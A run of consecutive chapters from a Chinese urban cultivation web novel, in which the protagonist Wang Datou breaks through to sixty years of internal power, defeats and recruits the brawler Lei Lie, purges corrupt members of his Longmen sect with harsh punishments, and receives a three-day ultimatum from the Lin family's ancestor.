窗外月色如水,室内灯火通明。
王大头盘膝坐在蒲团上,周身气息氤氲,如同笼罩在一层薄薄的雾气之中。与林家的气急败坏截然不同,这里的气氛宁静而充满力量。
【成功化解重大危机,奖励【二十年内力感悟】!】
系统的提示音在他脑海中响起,清晰而悦耳。
刹那间,一股磅礴如江河奔流般的感悟涌入他的四肢百骸,奇经八脉。
这不同于直接灌注内力,而是一种对内力本质、运行规律、爆发技巧的深刻理解和体验,仿佛他凭空多出了二十年苦修不辍的武道经验。
他体内那已臻化劲巅峰,如一甲子浑厚的内力,在这股感悟的催动下,开始以前所未有的效率奔腾、凝练、压缩!
丹田气海处,原本如同湖泊般的内力,开始向着更精纯、更凝实的形态转变,隐隐有化为液态真元的趋势!
他裸露在外的皮肤微微泛红,头顶有丝丝白气蒸腾而起,那是内力运转到极致的表现。
骨骼发出轻微的“噼啪”声,如同炒豆一般,那是体质在进一步被强化。
站在门外**的张猛,即使隔着门,也能感受到里面传来的那股令人心悸的压迫感,仿佛有一头洪荒巨兽正在苏醒。
他咂了咂舌,眼中满是敬畏:“大头哥这修炼的动静……越来越吓人了。”
静室内,王大头猛然睁开双眼,眸中精光一闪而逝,如同暗夜中划过的闪电,整个房间似乎都为之亮了一瞬。他缓缓抬起手,五指虚握,感受着体内那汹涌澎湃,仿佛取之不尽用之不竭的力量。
“二十年感悟……果然非同凡响。”他低声自语,声音带着一丝抑制不住的喜悦,“化劲与先天之间的那层屏
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障,似乎……更薄了。”
他能感觉到,自己距离那个传说中的境界,只有一步之遥。一旦跨入先天,便是真正的鱼跃龙门,生命层次都将发生蜕变!
就在这时,他眉头微动,【初级因果洞察】让他感知到一股熟悉的、带着善意和些许担忧的气息正在靠近。
“小雅,进来吧。”他收敛气息,温声道。
门被轻轻推开,李雅端着一碗冒着热气的药膳走了进来。
她看着王大头神光内敛,气息比之前更加深沉悠长的样子,美眸中闪过一抹欣喜:“你的伤……全好了?而且好像,又变强了?”
“嗯,因祸得福。”
王大头接过药碗,一股混合着药材清香与灵液特殊气息的味道扑面而来,“林家这次,算是偷鸡不成蚀把米。不仅没扳倒我们,反而送了我一份大礼。”
李雅在他身边坐下,看着他喝药,轻声道:“我刚看到新闻了,那个刘副主任……是你做的?”
王大头没有直接回答,只是笑了笑,但那笑容里的意味,不言而喻。
他放下空碗,握住李雅有些冰凉的手:“放心,一切都在掌控中。林家现在自顾不暇,短时间内应该不敢再明目张胆地动手了。这是我们发展的黄金时间。”
李雅感受着他掌心传来的温热和力量,心中的不安渐渐平息,取而代之的是一种坚定的信任。
“嗯,我相信你。药膳分店的选址已经谈妥了,就在邻市,有上官家暗中照应,应该会很顺利。”
“上官家……”
王大头目光微闪,那个在泰山之巅比武后向他示好的古武世家,“他们释放的善意,我们可以接着,但也要保持警惕。这个世界上,没有无缘无故的好。”
他话锋一转,问道:“赵师傅呢?”
“赵师傅说去拜访一位老朋友,好像是为了……‘昆仑秘境’的事情。”
李雅回忆道,“他走之前让我告诉你,尽快稳固境界,时机……可能快到了。”
“昆仑秘境……”王大头喃喃道,眼中闪过一丝向往。
那是系统提示过,可能存在突破先天机缘的地方。“我明白了。”
他站起身,走到窗边,看着夜空中那轮皎洁的明月,一股豪情油然而生。
林家?
不过是他武道之路上的一块磨刀石罢了。
他的目标,是那武道的极致,是那传说中的秘境,是那星辰大海!
系统提示:“成功化解重大危机,奖励【二十年内力感悟】!”王大头实力再进一步,而“昆仑秘境”的机缘,似乎也近在眼前了。
第66章:内力暴涨,一甲子功力!
静室内,时间仿佛失去了意义。
王大头盘膝而坐,心神彻底沉入体内那翻天覆地的变化之中。
系统奖励的【二十年内力感悟】并非单纯的能量灌输,而更像是一把钥匙,瞬间打开了他身体深处一扇尘封的大门,释放出潜藏已久的磅礴潜力,更让他对自身力量的认知和控制,跃升到了一个全新的层次。
“轰——!”
意识海中,仿佛有惊雷炸响。
那原本已如江河般奔腾不息的内力,在这股全新感悟的引导与催化下,骤然沸腾!
不再是简单的量变积累,而是开始了质的飞跃。
他“看”到,丹田气海内,那原本呈气态氤氲、虽浑厚却略显松散的内力,开始以肉眼可见的速度疯狂旋转、压缩。
如同宇宙星云在引力作用下坍缩,中心处一点璀璨如星辰的光芒骤然亮起,散发出精纯而恐怖的能量波动。
六十年的功力界限,在这一刻被毫无阻碍地冲破!
一甲子功力,成!
澎湃的力量感如同海啸般席卷全身每一条经脉,每一寸血肉,甚至深入骨髓。
骨骼发出密集而清脆的“噼啪”声,如同被无形巨锤反复锻打,杂质进一步被排出,结构变得更加致密坚韧。
肌肉纤维在撕裂与重组中变得更加虬结有力,蕴含着**性的力量。五脏六腑被精纯的内力温养包裹,焕发出前所未有的生机。
更奇妙的是他对内力本身的掌控。
以往催动内力,虽能如臂指使,但总感觉隔着一层薄纱,知其然不知其所以然。
而现在,那层薄纱被彻底掀开。
内力在他感知中不再是模糊的一团,而是分化成无数细微如丝的暖流,每一丝都清晰可辨,其运行轨迹、属性偏向、爆发节点都了然于心。
他甚至能感受到,内力与周围空气中某种稀薄而神秘的能量(天地灵气)产生了微弱的共鸣,虽然还无法直接吸纳,但已能引动一丝丝,辅助自身内力的运转与恢复。
这正是化劲层次“气与天地合”的初步征兆!
《星辰观想法》自动运转,精神力如同水银泻地,细致地扫描着身体的每一处变化。
在他的“内视”下,经脉被拓宽了近乎一倍,内力的流淌速度与总量提升了数倍不止!
那凝聚在丹田中心,隐隐有液化趋势的内力核心,仿佛一颗微型的恒星,散发出光和热,照亮了整个身体宇宙。
“这就是……一甲子功力的化劲巅峰?”王大头心中震撼。
他感觉现在的自己,可以轻松打爆突破前的十个自己!那种力量充盈、仿佛无所不能的感觉,足以让任何武者沉醉。
但他很快便收敛了心神,强大的精神力让他迅速从力量暴涨的迷醉中清醒过来。
力量只是工具,心境的掌控才是根本。赵师傅的教诲言犹在耳。
他缓缓抬起右手,五指张开,心念微动。
一缕凝练如实质的白色真气自指尖透出,约半寸长,吞吐不定,发出细微的“嘶嘶”声,将空气都切割开细微的涟漪。
这并非系统奖励的护身剑气,而是他自身内力高度凝聚的体现!
“收。”他轻声道。指尖真气瞬间收敛,仿佛从未出现。
“散。”真气再次勃发,却不再凝聚,而是化作一股柔和的气浪,轻轻拂过静室角落的一盆绿植,叶片微微摇曳,却没有丝毫损伤。
“凝!”真气第三次出现,却不再离体,而是如同有生命的流体般,迅速覆盖了他的整只手掌,形成了一层薄如蝉翼却坚韧无比的透明罡气!
手掌边缘的空气都微微扭曲。
举重若轻,操控由心!
王大头眼中爆发出慑人的精光。
他知道,自己终于真正踏入了武学的高深殿堂,不再是那个空有力量而不懂精细运用的莽夫。
科学的知识体系在这一刻与武道感悟深度融合,他对力的产生、传导、爆发、控制有了近乎本质的理解。
“林家……林煞……”他低声念着这两个名字,嘴角勾起一抹冷冽的弧度,“若你再敢来,我必让你有来无回!”
他有这个自信。
之前凭借护身剑气取巧才勉强击退林煞,如今内力、体魄、掌控力全方位提升,他有十足的把握,能与全盛时期的林煞正面抗衡,甚至……战而胜之!
“咚咚咚。”敲门声响起,打断了王大头的思绪。
“大头哥,你没事吧?里面的动静有点吓人啊。”是张猛粗犷中带着关切的声音。
王大头长身而起,体内骨骼发出一连串爆豆般的轻鸣,浑身气息圆融内敛,再无刚才突破时的外放与压迫感。
他打开门,看到张猛、李雅,甚至连赵师傅都站在门外,脸上带着不同程度的担忧和好奇。
“我没事。”王大头微微一笑,笑容中带着前所未有的自信与沉稳,“相反,好得不能再好。”
张猛上下打量着他,挠了挠头:“奇怪,感觉你好像……变了,又好像没变。说不上来。”
李雅则敏锐地感觉到,王大头的气质更加深邃了,站在那里,就如同一口深不见底的古井,看似平静,却蕴藏着恐怖的能量。
她美眸中异彩连连,悬着的心终于放下。
赵师傅浑浊的老眼精光一闪,捋着胡须,缓缓点头:“精气内蕴,神光饱满,混元一体……好!好!一甲子功力彻底稳固,化劲巅峰,距离那先天之境,也只差临门一脚了!大头,你比师傅预料的,走得更快,更稳!”
得到赵师傅的确认,张猛和李雅更是惊喜交加。
“哈哈哈!太好了!我看林家那些龟孙子还敢不敢嚣张!
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”张猛兴奋地挥舞着拳头。
李雅则是温柔地看着王大头:“恭喜你,大头。”
王大头对李雅笑了笑,然后看向赵师傅,神色认真起来:“师傅,您之前说去拜访老朋友,是为了‘昆仑秘境’之事?”
赵师傅点了点头,脸色也变得凝重了些许:“不错。我那位老友,是当年一同探索过一处险地的同伴,他对秘境之事知之甚详。据他所说,昆仑秘境下一次开启的征兆已经初步显现,预计就在三个月内!届时,整个华夏古武界,乃至一些隐藏的势力,恐怕都会闻风而动。”
“三个月……”王大头目光一凝,时间很紧迫。
秘境之中机缘与危险并存,没有足够的实力,进去就是送死。
“秘境名额争夺战,恐怕很快就会在各地区展开。”
赵师傅补充道,“我们龙门初立,虽有名声,但根基尚浅,想要获得名额,绝非易事。”
王大头握了握拳,感受着体内奔腾的力量,眼神锐利:“名额,我们必须拿到!这不仅是为了机缘,更是龙门正式跻身古武界顶级势力的敲门砖!”
实力暴涨带来的信心,让他有了争夺的底气。
感受着体内澎湃的力量,他有信心正面迎战林家高手,更有底气去争夺那通往更强之路的“昆仑秘境”资格!
王大头突破至一甲子功力,正式稳固化劲巅峰的消息,虽然龙门内部并未刻意宣扬,但那日静室传出的隐隐气势波动,以及之后王大头身上那愈发深不可测的气息,还是让核心成员们振奋不已。
龙头越强,龙门这艘大船才能行得更稳,更远。
而与此同时,林家因刘副主任**事件暂时偃旗息鼓,官方层面的打压骤然减轻。
此消彼长之下,“龙门”这两个字在滨海市乃至周边地区的暗世界里,声望达到了一个前所未有的高峰。
击败化劲长老,逼退百年世家,连官方打压都能巧妙化解并反戈一击……这一桩桩一件件,都如同最耀眼的招牌,吸引着各色人等的目光。
于是,龙门总部变得前所未有的热闹起来。
每日前来拜访、投效、洽谈合作的人络绎不绝,几乎踏破了门槛。
这其中,有在底层摸爬滚打、一身野路子功夫却不得志的武者;有曾在正规武馆或小门派学习,因各种原因离开,身怀不错技艺的年轻人;甚至还有一些因为原势力被林家打压或吞并,而流落在外,经验丰富的中年武师。
除了武道方面的人才,还有一些嗅觉敏锐的商业精英、管理人才,看中了龙门药膳的巨大潜力和龙门展现出的强大韧性,纷纷递来橄榄枝,希望能在龙门这艘新晋崛起的巨轮上,谋得一席之地。
“大头哥,这是今天前来登记,有意加入我们龙门的人员名单和初步资料。”
第67章:龙门扩张,人才来投
李雅将一摞厚厚的文件放在王大头的办公桌上,她如今已是龙门实际上的大总管,负责商业运营和大部分内勤事务,原本温婉的气质中,也多了一份干练与决断。
王大头拿起名单粗略翻看,人数比他预想的还要多。
他揉了揉眉心,扩张是好事,但过快过滥的扩张,必然带来良莠不齐、鱼龙混杂的问题。
“你怎么看?”他看向李雅。
李雅沉吟片刻,道:“人多,力量大,但管理不好,就是隐患。我们现在急需补充中下层骨干,尤其是可靠、能打的武者,来充实各分店和场子的安保,以及应对可能的地下冲突。但也不能什么人都收,心性、背景必须严格审查。”
王大头点头表示赞同:“没错,攘外必先安内。内部不稳,再强的堡垒也会从内部攻破。”
他想起之前就有成员因势力扩张而骄横生事,被他雷霆处置。“我们必须建立一套完善的筛选和考核机制。”
这时,张猛风风火火地闯了进来,脸上带着几分兴奋,也带着几分不耐烦:“大头,外面又来了一帮人,说是从邻省过来的,个个看起来都有两下子,带头的是个叫‘雷烈’的,脾气爆得很,嚷嚷着要见龙门主事的人,说要试试咱们的成色,才决定加不加入!”
“试试成色?”王大头眉头一挑,这是来踢馆的,还是真心来投靠的?
李雅有些担忧:“这些人来历不明,万一是林家或者其它对头派来捣乱的……”
王大头站起身,活动了一下手腕,脸上露出一丝意味深长的笑容:“是骡子是马,拉出来遛遛就知道了。正好,我也需要了解一下,现在外面来找奔的都是什么水平。猛子,带路,我们去会会这位雷烈。”
一行人来到总部大楼专门开辟出来的演武堂。
这里原本是一个废弃的仓库,被龙门改造后,地面铺上了特制的软垫,四周摆放着兵器架,空间宽敞,足以容纳上百人切磋练功。
此刻,演武堂中间,站着七八条汉子。
为首一人,身高接近两米,豹头环眼,皮肤黝黑,穿着一件无袖的麻布坎肩,露出肌肉虬结、青筋暴起的双臂,站在那里就如同一座铁塔,散发着彪悍狂野的气息。
他身后几人,也都太阳穴高高鼓起,眼神精亮,显然都不是弱者。
那为首大汉,正是雷烈。
他看到王大头在一群人簇拥下走来,目光如电般扫过,最后定格在王大头身上,声如洪钟:“你就是龙门的话事人,王大头?”语气中带着毫不掩饰的审视和一丝……挑衅。
张猛眼睛一瞪就要发作,被王大头用眼神制止。
“我就是王大头。”
王大头走到雷烈面前三米处站定,神色平静,“听说雷兄想试试我们龙门的成色?”
雷烈上下打量着王大头,见他年纪轻轻,身材也只能算匀称,并无特别魁梧之处,气息也感应不到多么强大,眼中不由得闪过一丝轻视:“不错!我雷烈带着兄弟们混饭吃,只服真本事!听说你们龙门干翻了林家的长老,吹得神乎其神,我却不信!除非你能打赢我,否则,我们转身就走,绝不给孬种卖命!”
他这话说得极其不客气,演武堂内的龙门弟子顿时怒目而视,气氛瞬间紧张起来。
王大头却笑了:“雷兄快人快语。
也好,武者之间,拳头确实是最好沟通的语言。怎么个试法?”
“简单!”
雷烈猛地踏前一步,地面似乎都微微一震,“你我打一场!你赢了,我和我这帮兄弟,从此鞍前马后,任你差遣,绝无二话!你要是输了……”
他顿了顿,环眼扫视四周,“你这龙门,恐怕也没资格在这滨海立足了!”
“放肆!”
张猛再也忍不住,怒吼一声就要上前。
“猛子。”
王大头再次叫住他,然后对雷烈点了点头,“可以。就在这演武堂,点到为止。”
“好!爽快!”
雷烈大吼一声,也不客气,脚下猛地一蹬,庞大的身躯却展现出与其体型不符的敏捷,如同一头发狂的蛮牛,一拳直捣王大头面门!拳风呼啸,隐隐带着风雷之声,显然力量极其刚猛!
这一拳,没有丝毫花哨,就是纯粹的力量与速度!
周围不少人脸色微变,这雷烈的实力,恐怕已经接近暗劲巅峰了!
放在哪里都是一把好手。
面对这势大力沉的一拳,王大头却站在原地,不闪不避,直到拳头即将临体,他才轻描淡写地抬起右手,五指张开,迎向了那足以开碑裂石的铁拳。
“找死!”
雷烈眼中凶光一闪,力道又加了几分。
“嘭!”
一声沉闷的肉体碰撞声响起。
预想中王大头被一拳轰飞的场景并未出现。
他那看似白皙修长的手掌,如同铁钳般,稳稳地抓住了雷烈那砂锅大的拳头!
狂暴的拳劲如同泥牛入海,消失得无影无踪,甚至连王大头的衣角都未曾拂动一下。
雷烈脸上的狞笑瞬间僵住,取而代之的是无比的震惊和骇然!
他感觉自己这一拳像是打在了巍峨不动的山岳之上,反震之力让他手臂发麻!
他拼命催动内力,想要挣脱,却发现对方的手掌如同生根了一般,纹丝不动!
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>这怎么可能?!
他天生神力,加上苦练外家硬功,一拳之力足以打死一头牛,竟然被对方如此轻描淡写地接下?
王大头看着雷烈因用力而涨红的脸,微微一笑:“力量尚可,但发力过于刚直,不懂刚柔变化,破绽太大。”
说话间,他抓住雷烈拳头的手腕轻轻一抖,一股柔和却无法抗拒的巧劲如同水波般传递过去。
雷烈只觉得一股奇异的力量瞬间瓦解了他全身凝聚的气力,下盘一浮,那铁塔般的身躯竟然不受控制地原地转了三个圈,然后一跤跌坐在地,满眼都是茫然和不可思议。
静!
演武堂内死一般的寂静!
所有人都目瞪口呆地看着这一幕。
尤其是雷烈带来的那几个兄弟,更是如同见了鬼一样。
他们老大什么实力他们最清楚,竟然……竟然被这个看似普通的年轻人,像耍小孩一样随手就放倒了?
张猛咧开大嘴,差点笑出声,赶紧捂住。李雅也松了口气,眼中异彩更甚。
王大头俯视着坐在地上的雷烈,淡淡道:“现在,你觉得龙门有资格吗?”
雷烈从地上爬起来,脸上的狂傲之色消失得无影无踪,取而代之的是满脸的敬畏和羞愧。
他对着王大头抱拳躬身,声音低沉了许多:“雷烈……有眼无珠!冒犯了!从今往后,我雷烈和这帮兄弟,任凭王龙头差遣!绝无二心!”
他身后的几人也连忙躬身行礼,心服口服。
王大头伸手虚扶一下:“雷兄请起。既然入了龙门,就是自家兄弟。龙门规矩,忠义为本,自强不息。只要守规矩,龙门绝不会亏待任何一位兄弟。”
他目光扫过演武堂内所有新旧成员,声音不大,却清晰地传入每个人耳中:“我知道,很多人是冲着龙门的名声和潜力来的。但我希望大家记住,龙门不是藏污纳垢之地,也不是恃强凌弱之所。我们要的,是能并肩作战、守望相助的伙伴,是能共同将武道发扬光大的同道!”
他话语中的力量和那份不容置疑的威严,让所有人都心生凛然。
“猛子,带雷烈兄弟他们去办理入册手续,按他们的实力,先安排到分店担任安保教练。”王大头吩咐道。
“好嘞!”
张猛应声,热情地揽住还有些懵的雷烈,“走走走,雷兄弟,以后就是自己人了!”
处理完雷烈的事情,王大头和李雅、赵师傅回到办公室。
赵师傅沉吟道:“这个雷烈,根骨不错,是块练外家功夫的好材料,心性看似粗豪,实则不坏,稍加教导,可堪大用。但他出现的时机,未免有些巧合。”
第68章:内部整顿,清除隐患
王大头点头:“我明白。【因果洞察】没有感应到明显的恶意,但他背后是否有人指使,还需观察。”他顿了顿,“不过,这也给我们提了个醒。扩张期,必须建立更严格的审查和分级管理制度。”
他看向李雅:“小雅,之前让你拟定的《龙门弟子晋升与贡献制度细则》,完善得怎么样了?”
李雅从文件夹中取出一份厚厚的计划书:“基本框架已经好了。准备实行‘外门-内门-核心’三级制度,通过贡献点、任务完成度、实力考核、忠诚度评估等多方面综合评定晋升。同时设立‘监察堂’,由赵师傅暂领,负责内部纪律和监督。”
“很好。”
王大头接过计划书,仔细翻阅,“细节再推敲一下,尽快颁布执行。另外,传功阁的构建也要加快,将《基础吐纳术》前三层、八极拳基础、以及我优化后的一些发力技巧放入外门兑换列表,激励弟子。”
他手指轻轻敲击着桌面,目光深邃:“龙门这艘船越来越大了,没有完善的规章制度,迟早会出乱子。我们必须走在前面。”
解决了外部的强敌,内部的整合与管理,将是接下来最大的挑战。
而这,某种程度上,比面对林煞那样的高手,更为复杂和耗费心力。
王大头深知,攘外必先安内。
龙门的高速扩张带来了机遇,也潜藏着内部管理的危机,一套严格而公平的制度,必须尽快建立起来。
而雷烈这批人的加入,是机遇还是隐患,犹未可知。
龙门扩张的速度如同滚雪球,带来的不仅仅是实力和声威的增长,更有潜藏在繁荣表象下的暗流。
《龙门弟子晋升与贡献制度细则》的颁布,如同一块巨石投入湖中,激起了层层涟漪。
细则明确规定,弟子分为外门、内门、核心三级,晋升需考核实力、贡献、忠诚。
贡献点可通过完成任务、为龙门创造价值获得,可用于兑换武学**、丹药、兵器乃至指导机会。
同时,赵师傅领衔的“监察堂”正式成立,负责监督弟子行为,纠察违纪。
这套制度相对公平,激励效果显著,大部分弟子,尤其是早期成员和真心投靠者,都摩拳擦掌,充满干劲。
但也触动了一部分人的利益,或者让某些心怀鬼胎者感到了不安。
王大头站在总部顶楼办公室的落地窗前,俯瞰着下方院子里熙熙攘攘、正在领取任务或兑换资源的弟子们。
他的眼神平静,但【初级因果洞察】的能力却如同无形的雷达,悄然扫描着整个总部区域。
各种纷杂的“意念”如同细小的波纹,传入他的感知。
大部分是兴奋、期待、忠诚,但也夹杂着一些不和谐的杂音——贪婪、嫉妒、怨恨,以及……几缕极其隐晦,却带着明确恶意的“线”。
“水至清则无鱼,但若污秽过多,这潭水也就臭了。”王大头轻声自语。
他深知,在林家虎视眈眈,秘境资格争夺在即的关键时刻,内部绝不能出任何乱子。
“大头,监察堂这边,收到几份匿名的检举信。”
赵师傅推门而入,手中拿着几封书信,脸色有些严肃,“主要涉及三个人。外门执事王魁,克扣弟子贡献点,并涉嫌向外泄露药膳的部分普通配方。内门弟子刘明,仗着实力欺压同门,强占他人任务奖励。还有……新来的那个雷烈,他手下有个叫侯三的,手脚不干净,偷窃库房储备的普通药材,私下倒卖。”
王大头接过信件,快速浏览了一遍,眼神渐冷。
王魁和刘明是龙门扩张初期加入的,有些小聪明和实力,但品行不端,他早有察觉,只是之前忙于应对林家,无暇处理。
至于侯三……他目光微闪,想到了雷烈那耿直狂傲的面孔。
“证据确凿吗?”
“王魁和刘明的事,基本属实,有弟子愿意作证。侯三那边,人赃并获,他自己也承认了,说是老家母亲病重,急需用钱。”赵师傅叹了口气,“雷烈为此大发雷霆,亲自把侯三绑了,说要按龙门规矩处置,但他求情,希望留侯三一命。”
王大头沉默片刻,道:“召集所有内门及以上弟子,演武堂集合。通知雷烈,把他的人也带上。”
半小时后,演武堂内气氛凝重。
数百名龙门骨干齐聚于此,鸦雀无声。
高台上,王大头居中而坐,赵师傅、李雅、张猛分坐两侧。
雷烈站在台下前方,脸色铁青,他身后是被捆得结结实实、面如死灰的侯三,以及另外几个跟着他一起来投奔的兄弟,个个神情忐忑。
王大头没有多余的废话,直接拿起名单,声音清晰地传遍整个演武堂:“外门执事,王魁。”
人群中的王魁身体一颤,脸色瞬间煞白。
“克扣弟子贡献点共计一百七十五点,证据确凿。私下泄露龙门药膳基础配方,虽非核心,但触犯底线。”王大头目光如刀,落在王魁身上,“按龙门铁律,废去武功,逐出龙门!所有非法所得,追回!”
“不!龙头!饶命啊!我再也不敢了!”
王魁噗通一声跪倒在地,涕泪横流。两名监察堂的弟子面无表情地上前,将其架起。
王大头面无表情,隔空一指点出,一道凝练的指风瞬间击中王魁丹田。
王魁惨叫一声,浑身内力如同泄了气的皮球般消散,整个人萎顿下去,被直接拖出了演武堂。
全场一片死寂,所有人都感到一股寒意从脚底升起。
“内门弟子,刘明。”
刘明吓得双腿发软,几乎站不稳。
“恃强凌弱,抢夺同
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门任务奖励三次,致人轻伤。按律,杖责五十,扣除所有贡献点,降为外门弟子,观察一年!”
执法弟子上前,当众行刑。
沉重的木杖打在肉体上的声音,伴随着刘明的惨嚎,让每一个弟子都心中一紧。
五十杖打完,刘明已是奄奄一息,被拖了下去。
处理完这两个,所有人的目光都集中到了侯三和雷烈身上。
雷烈猛地单膝跪地,抱拳道:“龙头!侯三犯事,是我雷烈管教不严!我愿意代他受罚!请龙头看在他初犯,且事出有因的份上,饶他一命!”
他声音洪亮,带着恳求,也带着一丝不易察觉的紧张。
他是在赌,赌王大头并非嗜杀之人,也赌自己刚刚立下的功劳和展现的价值。
侯三也哭泣道:“龙头,我错了!我再也不敢了!我娘她……”
王大头看着雷烈,这个莽汉此刻为了兄弟甘愿受罚,倒是有情有义。
他缓缓开口:“龙门铁律,偷窃内部物资,视价值定罚。侯三所偷药材,价值普通,未触及核心。但其行为,性质恶劣。”
他顿了顿,看着侯三:“念你初犯,事出有因,死罪可免。”
侯三和雷烈都松了口气。
“但活罪难逃!”
王大头声音转冷,“废去武功,太过。杖责八十,你可承受?”
侯三连忙磕头:“承受!小人承受!谢龙头不杀之恩!”
“且慢。”
王大头话锋一转,看向雷烈,“雷烈,你管教不严,识人不明,亦有责任。侯三这八十杖,你替他承受四十杖,你可愿意?”
雷烈一愣,随即毫不犹豫地大声道:“我愿意!”他明白,这是王大头给他的一个台阶,也是对他的一种考验和接纳。替他的人受罚,更能收拢手下兄弟的心,也向龙门表明他雷烈是敢作敢当、爱护兄弟的人。
“好!行刑!”
执法弟子上前,雷烈主动趴下。
沉重的木杖落在他的背上,发出沉闷的响声。
他咬紧牙关,额头青筋暴起,硬是一声不吭。
四十杖打完,他后背已是血肉模糊,却自己挣扎着站了起来,对着王大头再次抱拳:“谢龙头!”
这一幕,让演武堂内许多弟子动容。
尤其是那些新加入的,看到龙门法度森严,却也并非不近人情,龙头赏罚分明,连雷烈这样的新晋高手也一视同仁,心中那点小心思顿时收敛了许多,对龙门的归属感和敬畏感油然而生。
王大头站起身,目光扫视全场,声音沉凝如铁:“今日之事,望诸位引以为戒!龙门给予大家机会、资源,但绝不容忍蛀虫和害群之马!忠义为本,自强不息,这不仅是口号,更是我龙门立足的根本!谁若触碰底线,王魁、刘明、侯三便是前车之鉴!”
第69章:林家的最后通牒
他话语中的威严和那股不容置疑的气势,深深烙印在每个人心中。
“都散了吧,各自勤加修炼,努力完成任务!”
弟子们躬身行礼,陆续退去,演武堂内只剩下王大头几人和勉强站立的雷烈。
“带雷烈下去敷药。”王大头对张猛吩咐道。
张猛点头,上前扶住雷烈:“雷兄弟,够硬气!我老张佩服!”
雷烈咧了咧嘴,倒吸着凉气:“应该的……谢张哥。”
看着雷烈被扶走的背影,李雅轻声道:“这个雷烈,倒是条汉子。”
赵师傅也微微颔首:“此子可用,但还需观察。他刚才……似乎在试探你的底线。”
王大头笑了笑:“无妨。真金不怕火炼。经过此事,内部应该能清净一段时间了。”
他能够感觉到,那股因扩张而带来的浮躁和混乱之气,随着这次整顿,消散了大半,整个龙门的气息变得更加凝聚和纯粹。
龙门铁律,通过这次雷霆整顿,真正深入人心。内部隐患暂时清除,龙门如同一块被锻打过的精铁,变得更加坚韧。
内部整顿的风波刚刚平息,龙门上下正憋着一股劲,准备在新的制度下大展拳脚时,一场来自外部的、更为猛烈的风暴,毫无征兆地席卷而至。
这天下午,阳光正好。
龙门总部一如往常般运转,弟子们或在演武堂切磋,或在任务堂交接,或在各自的岗位上忙碌。
突然,一股难以形容的恐怖威压,如同无形的海啸,从天际滚滚而来,瞬间笼罩了整个龙门总部区域!
“嗡——!”
空气仿佛凝固了,所有人都感到心脏像是被一只无形的大手攥住,呼吸变得极其困难。
实力稍弱的弟子更是脸色发白,双腿打颤,几乎要跪倒在地。
院子里嬉闹的鸟儿如同被掐住了脖子,声音戛然而止,纷纷坠落。就连建筑似乎都在这股威压下微微震颤!
“怎么回事?!”
“好……好可怕的气息!”
“是林家!一定是林家来了!”
恐慌的情绪在弟子中蔓延。
办公室内,王大头猛地睁开双眼,眼中精光爆射!
他身下的椅子发出不堪重负的**。
站在他旁边的李雅更是花容失色,感觉仿佛有一座大山压在了心头。
“来了!”
王大头站起身,脸色凝重如水。
这股威压,远比之前的林煞要强大、深沉、浩瀚得多!带着一股古老、腐朽,却又无比强大的气息!
赵师傅也瞬间出现在门口,脸色前所未有的严肃:“是林家的老祖……林天昊!他果然出关了!”
就在这时,一个苍老、沙哑,却如同惊雷般响彻在每个人脑海的声音,从外面传来:
“龙门王大头,滚出来见老夫!”
声音不高,却带着无上的威严和不容置疑的命令口吻,震得人耳膜嗡嗡作响。
王大头深吸一口气,压下体内因威压而微微躁动的内力,对李雅和赵师傅道:“你们留在里面,我出去看看。”
“大头!”李雅抓住他的手臂,眼中满是担忧。
“放心。”王大头拍了拍她的手,给了她一个安心的眼神,然后大步向外走去。赵师傅沉默地跟在他身后。
总部大楼外,原本熙攘的街道此刻空无一人,仿佛被无形的力量清场。而在大门正前方,站着三个人。
为首者,是一位身穿玄色古朴长袍的老者。
他须发皆白,面容枯槁,布满深深的皱纹,仿佛历经了无数岁月。
但那双微微开阖的眼睛,却如同两口深不见底的寒潭,开阖之间,精光四射,带着俯视众生、漠视一切的冰冷。
他只是站在那里,就仿佛成了天地的中心,那恐怖的威压正是源自于他——林家老祖,林天昊!
在他左侧,是伤势未愈,脸色阴鸷的林煞。
右侧,则是一位面容冷峻,眼神锐利如鹰隼的中年男子,气息沉稳深厚,赫然也是一位化劲宗师!
正是林家另一位长老,林煞的兄长,林魈!
三位化劲!
其中更有一位是深不可测的老祖!
这股力量,足以横扫整个滨海地下世界!
王大头走出大门,身后是紧随而来的张猛、雷烈(不顾伤势)等一众龙门核心骨干。
他们感受到那如同实质的威压,个个脸色发白,却都咬着牙,死死盯着对面的三人,没有一人退缩。
“你就是王大头?”
林天昊的目光落在王大头身上,那目光如同冰冷的刀锋,似乎要将他里外看个通透。
“正是。”
王大头不卑不亢地应道,体内一甲子的内力悄然运转,抵抗着那无处不在的威压。
他感觉像是置身于惊涛骇浪之中,对方的气息如同无边无际的大海,深不可测。
这就是超越了化劲的存在吗?
“很好。”
林天昊微微颔首,语气平淡,却带着令人心悸的寒意,“年纪轻轻,能
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修到化劲巅峰,伤我林家长老,毁我林家声誉,倒也算个人物。”
他话锋一转,如同北极吹来的寒风:“但,你不该招惹林家。林家的威严,不容挑衅。”
他轻轻抬起枯瘦的手掌,指向王大头:“老夫给你一个机会。三日之内,自缚双手,跪于我林家祠堂前,负荆请罪,自废武功。你龙门,即刻解散,所有产业,尽归林家。”
他的声音不大,却如同重锤般敲击在每个龙门弟子的心上。
“若敢说半个不字……”
林天昊眼中寒芒大盛,杀意如同实质般弥漫开来,让周围的温度骤然下降,“三日之后,老夫亲自出手,踏平你这龙门!鸡犬——不留!”
“鸡犬不留!”
林煞和林魈同时冷声重复,杀机锁定王大头及其身后众人。
空气仿佛要冻结了。
张猛、雷烈等人目眦欲裂,拳头攥得嘎吱作响,恨不得立刻冲上去拼命,但在那恐怖的威压下,连动弹都十分困难。
李雅在门内,透过窗户看到这一幕,听到那充满杀意的话语,脸色惨白,死死捂住自己的嘴,才没有惊呼出声。
王大头站在所有人前方,面对着三位化劲,尤其是那位如同魔神般的林家老祖,他感觉肩上的压力如同山岳般沉重。
但他脊梁挺得笔直,眼神中没有丝毫畏惧,只有一片冰冷的沉静。
他缓缓抬起头,目光直视林天昊那深不见底的眼眸,一字一句地清晰说道:
“我龙门,没有跪着生的习惯。”
“要战,便战!”
声音平静,却带着斩钉截铁的决绝,在死寂的街道上回荡,清晰地传入每一个人耳中。
林天昊的眼睛微微眯起,缝隙中透出的寒光几乎能冻结灵魂。
他深深地看了王大头一眼,仿佛要将他刻在心里。
“很好。”
他只说了这两个字,然后转身,一步踏出,身影便已在数十米开外。
林煞和林魈冷冷地扫了龙门众人一眼,尤其是狠狠瞪了王大头一下,随即跟上。
那恐怖的威压,如同潮水般退去。
但留下的,却是弥漫在整个龙门上空的,令人窒息的压抑和绝望。
三位化劲,一位深不可测的老祖……三日之后,便是龙门存亡之刻!
